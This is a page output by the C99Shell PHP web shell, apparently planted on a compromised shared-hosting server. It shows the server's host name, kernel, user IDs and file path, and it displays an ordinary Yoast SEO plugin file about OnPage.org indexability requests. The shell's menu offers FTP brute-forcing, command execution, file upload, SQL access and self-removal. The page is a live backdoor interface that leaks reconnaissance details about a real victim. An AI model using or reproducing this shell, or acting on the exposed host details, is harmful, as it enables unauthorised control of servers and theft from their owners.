!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordpress-seo/admin/onpage/   drwxr-xr-x
Free 179.31 GB of 490.84 GB (36.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-onpage-request.php (2.2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package WPSEO\Admin
 */

/**
 * This class will fetch a new status from OnPage.org and if it's necessary it will notify the site admin by email and
 * remove the current meta value for hidding the notice for all admin users
 */
class WPSEO_OnPage_Request {

    
/**
     * @var string The endpoint where the request will be send to.
     */
    
private $onpage_endpoint 'https://indexability.yoast.onpage.org/';

    
/**
     * Doing the remote get and returns the body
     *
     * @param string $target_url The home url.
     * @param array  $parameters Array of extra parameters to send to OnPage.
     *
     * @return array
     * @throws Exception The error message that can be used to show to the user.
     */
    
protected function get_remote$target_url$parameters = array() ) {
        
$parameters array_merge( array(
            
'url'          => $target_url,
            
'wp_version'   => $GLOBALS['wp_version'],
            
'yseo_version' => WPSEO_VERSION,
        ), 
$parameters );

        
$url add_query_arg$parameters$this->onpage_endpoint );

        
$response      wp_remote_get$url );
        
$response_code wp_remote_retrieve_response_code$response );

        
// When the request is successful, the response code will be 200.
        
if ( $response_code === 200 ) {
            
$response_body  wp_remote_retrieve_body$response );

            return 
json_decode$response_bodytrue );
        }
    }

    
/**
     * Sending a request to OnPage to check if the $home_url is indexable
     *
     * @param string $target_url The URL that will be send to the API.
     * @param array  $parameters Array of extra parameters to send to OnPage.
     *
     * @return array
     */
    
public function do_request$target_url$parameters = array() ) {
        
$json_body $this->get_remote$target_url$parameters );

        
// OnPage.org recognized a redirect, fetch the data of that URL by calling this method with the value from OnPage.org.
        
if ( ! empty( $json_body['passes_juice_to'] ) ) {
            return 
$this->do_request$json_body['passes_juice_to'], $parameters );
        }

        return 
$json_body;
    }

    
/**
     * Returns the fetched response
     *
     * @deprecated 3.1.2
     * @codeCoverageIgnore
     *
     * @return array
     */
    
public function get_response() {
        
_deprecated_function__METHOD__'WPSEO 3.1.2''WPSEO_OnPage_Request::do_request' );

        return array();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.2147 ]--